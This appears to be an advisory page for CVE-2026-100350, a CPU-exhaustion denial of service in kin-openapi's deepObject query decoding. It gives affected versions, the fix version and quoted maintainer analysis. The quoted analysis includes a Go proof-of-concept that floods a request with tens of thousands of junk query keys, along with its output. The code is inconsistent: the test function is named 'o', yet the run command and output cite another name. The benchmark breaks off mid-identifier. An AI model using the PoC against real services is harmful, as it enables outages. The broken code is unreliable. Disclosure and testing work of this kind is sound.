---
id: "CVE-2026-100350"
page: "https://infrastack.ai/live/CVE-2026-100350"
kind: "vulnerability"
aliases: ["CVE-2026-100350", "GHSA-h4r5-mxv5-8mjc", "GO-2026-6787"]
title: "kin-openapi deepObject query decoding repeatedly compiles an invariant regular expression"
severity: "medium"
cvss: 5.3
epss: 0.00451
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/getkin/kin-openapi", "fixed": ["0.146.0"], "affected": ">= 0.145.0, < 0.146.0", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-1050", "cwe-400", "cwe-770", "go", "kin-openapi", "openapi", "package"]
not_affected_if: ["not-deepobject-queries", "version-outside-range"]
published_at: "2026-10-15T16:17:30+00:00"
first_seen_at: "2026-11-06T00:09:04+00:00"
updated_at: "2026-11-06T00:19:08+00:00"
sources: [{"source": "govuln", "url": "https://pkg.go.dev/vuln/GO-2026-6787", "first_seen_at": "2026-11-06T00:09:04+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100350", "first_seen_at": "2026-11-06T00:19:01+00:00"}, {"source": "ghsa", "url": "https://github.com/advisories/GHSA-h4r5-mxv5-8mjc", "first_seen_at": "2026-11-06T00:19:08+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00451, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-100350"}]
---

# kin-openapi deepObject query decoding repeatedly compiles an invariant regular expression

Link for people: https://infrastack.ai/live/CVE-2026-100350 (this .md is for agents)

The kin-openapi Go library recompiles a constant regular expression each time it decodes deepObject query parameters. The sources describe this as a performance cost, not code execution or data exposure.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/getkin/kin-openapi affected >= 0.145.0, < 0.146.0 fixed 0.146.0

## How to check

- Check whether the go.mod of your service requires `github.com/getkin/kin-openapi` at a version from `0.145.0` up to but not including `0.146.0`
- Run `go list -m github.com/getkin/kin-openapi` to see the version in use

## Fix

- `github.com/getkin/kin-openapi` `0.146.0`

## Timeline

- 2026-11-06T00:09:04+00:00 govuln https://pkg.go.dev/vuln/GO-2026-6787
- 2026-11-06T00:19:01+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-100350
- 2026-11-06T00:19:08+00:00 ghsa https://github.com/advisories/GHSA-h4r5-mxv5-8mjc

## Documents

- [advisory] Vendor advisory: github.com https://github.com/getkin/kin-openapi/security/advisories/GHSA-h4r5-mxv5-8mjc
- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/getkin/kin-openapi/security-advisories/GHSA-h4r5-mxv5-8mjc
- [fix] Patch: github.com https://github.com/getkin/kin-openapi/commit/d090e36b2f1c42c898ba2a687a8f6e25f5ca727f
- [fix] Release notes: github.com https://github.com/getkin/kin-openapi/releases/tag/v0.146.0

## From the sources

### Summary

`openapi3filter` decodes `deepObject`-style query parameters by looping over **every** key in the request's query string. Inside that loop it recompiles a **loop-invariant** regular expression on every iteration. The pattern depends only on the spec-defined parameter name, not on the loop variable, so it is compiled `N` times for `N` query keys instead of once. Because the number of query keys is attacker-controlled and unbounded, a single request with many junk query keys forces a proportional number of `regexp.MustCompile` calls, consuming CPU. A handful of concurrent requests can saturate all cores — an uncontrolled-resource-consumption denial of service.

This is **not** ReDoS: the pattern is fixed (`^<param>\[`) and matches in linear time. The cost is the **repeated compilation** of an invariant regexp, once per attacker-supplied query key.

### Details

In `openapi3filter/req_resp_decoder.go`, the `deepObject` branch of `urlValuesDecoder.DecodeObject` builds a per-parameter property map by iterating over all query keys:

```go
case "deepObject":
    propsFn = func(params url.Values) (map[string]string, error) {
        props := make(map[string]string)
        for key, values := range params {                                            // req_resp_decoder.go:689
            if !regexp.MustCompile(fmt.Sprintf(`^%s\[`, regexp.QuoteMeta(param))).MatchString(key) { // :690
                continue
            }
            matches := deepObjectBracketRE.FindAllStringSubmatch(key, -1)
            ...
        }
        ...
    }
```

The regexp built at `req_resp_decoder.go:690` depends only on `param` — the parameter name defined in the OpenAPI spec — which is **constant** for the whole loop. Yet `regexp.MustCompile(...)` is invoked inside the `for key, values := range params` loop at `req_resp_decoder.go:689`, so it is recompiled once for every key present in the query string.

Contrast this with the already-hoisted, package-level regexp used two lines below:

```go
var deepObjectBracketRE = regexp.MustCompile(`\[(.*?)\]`) // req_resp_decoder.go:41
```

`deepObjectBracketRE` is compiled exactly once at package init and reused. The per-parameter pattern at `:690` should be compiled the same way (once, outside the loop), but instead is rebuilt on every iteration.

`regexp.MustCompile` costs on the order of a few microseconds per call. The number of iterations equals the number of query keys `N`, which the client fully controls (a ~1 MB URL holds roughly 100k keys). For each `deepObject` parameter `M` defined on the matched route, the request performs `N × M` compilations. The work is CPU-bound, happens during request validation before any handler logic, and scales linearly with request size, so an attacker converts cheap request bytes into expensive server CPU.

Affected code path: `ValidateRequest` → `ValidateParameter` → `decodeStyledParameter` → `urlValuesDecoder.DecodeObject` (the `deepObject` case). Any operation with at least one `in: query`, `style: deepObject` parameter is exploitable.

### PoC

The following self-contained test (package `openapi3filter_test`) defines a spec with a single `deepObject` query parameter, then validates two requests that differ only in the number of junk query keys. Decoding time grows with the key count even though none of the junk keys are part of the parameter.

Save as `openapi3filter/advisory_poc_test.go`:

```go
package openapi3filter_test

import (
	"context"
	"fmt"
	"net/http"
	"strings"
	"testing"
	"time"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const specDeepObjectParam = `
openapi: 3.0.0
info: {title: PoC, version: 1.0.0}
paths:
  /f:
    get:
      parameters:
        - name: filter
          in: query
          style: deepObject
          explode: true
          schema: {type: object, properties: {a: {type: string}}}
      responses:
        '200': {description: ok}
`

// TestPoCDeepObjectRegexpCPU demonstrates that decode cost scales with the
// number of (attacker-controlled) junk query keys because a loop-invariant
// regexp is recompiled once per key. It logs timings for two key counts and
// fails if the larger count crosses a clearly-abnormal CPU threshold.
func o(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(specDeepObjectParam))
	if err != nil {
		t.Fatalf("load: %v", err)
	}
	if err := doc.Validate(loader.Context); err != nil {
		t.Fatalf("validate: %v", err)
	}
	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		t.Fatalf("router: %v", err)
	}

	run := func(n int) time.Duration {
		var sb strings.Builder
		sb.WriteString("/f?filter[a]=x")
		for i := 0; i < n; i++ {
			fmt.Fprintf(&sb, "&j%d=1", i)
		}
		req, _ := http.NewRequest(http.MethodGet, sb.String(), nil)
		route, pathParams, err := router.FindRoute(req)
		if err != nil {
			t.Fatalf("route: %v", err)
		}
		start := time.Now()
		_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		return time.Since(start)
	}

	small := run(2000)
	large := run(40000)
	t.Logf("2000 junk keys -> %v ; 40000 junk keys -> %v (cost scales with key count)", small, large)
	if large > 100*time.Millisecond {
		t.Fatalf("VULNERABLE: 40000 junk keys cost %v of CPU for a single request (regexp recompiled per key); scales to full-core saturation", large)
	}
}
```

Run:

```
go test ./openapi3filter/ -run TestPoCDeepObjectRegexpCPU -v
```

Observed output on the reference machine (Go 1.25, linux/amd64):

```
=== RUN   TestPoCDeepObjectRegexpCPU
    advisory_poc_test.go:71: 2000 junk keys -> 16.542072ms ; 40000 junk keys -> 258.146949ms (cost scales with key count)
    advisory_poc_test.go:73: VULNERABLE: 40000 junk keys cost 258.146949ms of CPU for a single request (regexp recompiled per key); scales to full-core saturation
--- FAIL: TestPoCDeepObjectRegexpCPU (0.28s)
FAIL
FAIL	github.com/getkin/kin-openapi/openapi3filter	0.293s
FAIL
```

Time grows roughly linearly with the key count (20× more keys → roughly 15× more time), and none of the `j<i>=1` keys belong to the `filter` parameter — they are pure junk whose only effect is to add loop iterations, each of which recompiles the invariant regexp. A URL of about 1 MB (roughly 100k keys) pushes a single request into the 0.6 s range per `deepObject` parameter; a few concurrent such requests saturate every core.

### Benchmark

The wall-clock PoC above is threshold-based and machine-sensitive. A `testing.B` benchmark built on the same spec (`specDeepObjectParam`) makes the scaling — and the per-request memory blow-up — reproducible and quantitative. It reuses the PoC's spec, router and request-shaping, sweeping the junk-key count and reporting `ns/op`, `B/op`, and `allocs/op`.

Save as `openapi3filter/advisory_poc_bench_test.go` (same package, alongside the PoC):

```go
package openapi3filter_test

import (
	"context"
	"fmt"
	"net/http"
	"strings"
	"testing"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

// BenchmarkDeepObjectJunkKeys measures the per-request validation cost of a
// deepObject query parameter as the number of attacker-controlled junk query
// keys grows. Before the fix, cost scales linearly with the key count because a
// loop-invariant regexp is recompiled once per key; after the fix it is
// dominated by url-parsing and grows far more gently.
func BenchmarkDeepObjectJunkKeys(b *testing.B) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(specDeepObjectParam))
	if err != nil {
		b.Fatalf("load: %v", err)
	}
	if err := doc.Validate(loader.Context); err != nil {
		b.Fatalf("validate: %v", err)
	}
	router, err := gorill

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
